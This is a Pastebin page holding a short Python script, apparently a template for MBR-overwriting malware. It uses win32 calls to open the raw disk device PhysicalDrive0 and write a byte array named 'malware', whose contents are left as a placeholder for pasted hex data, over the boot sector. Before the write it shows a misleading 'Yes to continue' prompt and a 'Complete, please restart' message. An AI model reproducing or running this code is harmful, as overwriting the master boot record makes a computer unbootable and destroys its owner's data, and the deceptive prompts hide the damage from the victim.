Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from win32file import *
- from win32api import *
- from win32gui import *
- from win32con import *
- from win32ui import *
- from time import sleep
- malware = bytes([
- # paste hex code data here
- ])
- def run_mbr():
- while MessageBox('Yes to continue" ', 'MBR',MB_YESNO) == IDNO:
- continue
- sleep(3)
- if MessageBox('Complete \nPlease restart the computer', "MBR"):
- pass
- mbrd = CreateFileW(r"\\.\PhysicalDrive0",
- GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
- None, OPEN_EXISTING, 0, 0)
- WriteFile(mbrd, malware, None)
- CloseHandle(mbrd)
- run_mbr()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement